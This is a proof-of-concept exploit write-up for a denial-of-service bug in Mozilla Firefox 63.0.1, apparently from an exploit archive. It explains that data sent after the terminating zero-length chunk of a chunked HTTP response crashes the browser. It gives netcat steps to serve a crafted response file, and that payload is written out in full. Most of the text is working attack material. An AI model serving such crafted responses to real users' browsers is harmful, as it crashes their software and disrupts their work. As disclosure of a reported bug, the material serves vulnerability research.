Mozilla Firefox 63.0.1 Denial Of Service

`# Exploit Title: Mozilla Firefox 63.0.1 - Denial of Service (PoC)  
# Date: 2018-11-29  
# Exploit Author: SAIKUMAR CHEBROLU  
# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/  
# Bugzilla report: https://bugzilla.mozilla.org/show_bug.cgi?id=1504512  
# Version: Firefox 63.0.1  
# Tested on: Windows 10  
# CVE : No CVE is been assigned to this bug.  
  
# To exploit this vulnerability please follow the below steps.  
# Firefox is being crashed, when it tried to process the chunked data. when Transfer-Encoding header   
# is used, we suppose to send the data in the chunks form. When all the chunks being transferred,   
# we need to tell the client with chunk length zero. so that it understands chunked stream completed.   
  
# But if we send the data after sending zero length, then firefox not able to understand it,   
# and it being crashed.  
  
# Example:  
  
5  
  
Don't  
  
5  
  
be af  
  
5  
  
firef  
  
5  
  
ox is  
  
0   
  
Crash (after saying it is end, we still sending some data)   
  
\r\n  
  
# here we are saying no chunked data after this.so that it should end with \r\n. But we   
# are sending some data after this also. Like  
  
# Steps to reproduce the crash  
  
1)download the firefoxcrash.txt  
  
2)nc -lp 8000 < firefoxcrash.txt  
  
3)browe the url from firefox like http://localhost:8000  
  
4)then close the netcat client. then you will obserev the firefox crash.  
  
# fireforcrash.txt  
  
HTTP/1.1 200 ok  
Content-type: application/octet-stream  
Content-disposition: attachment; filename="crash.txt"  
Transfer-Encoding: chunked  
Connection: close  
  
5  
I am   
5  
be a  
5  
fraid  
5  
to l  
5  
ook a  
5  
t thi  
5  
s mes  
5  
sage.  
5  
It i  
5  
s com  
5  
plete  
5  
ly ha  
5  
rmles  
5  
s. Re  
5  
ally!  
0  
foobar  
  
  
`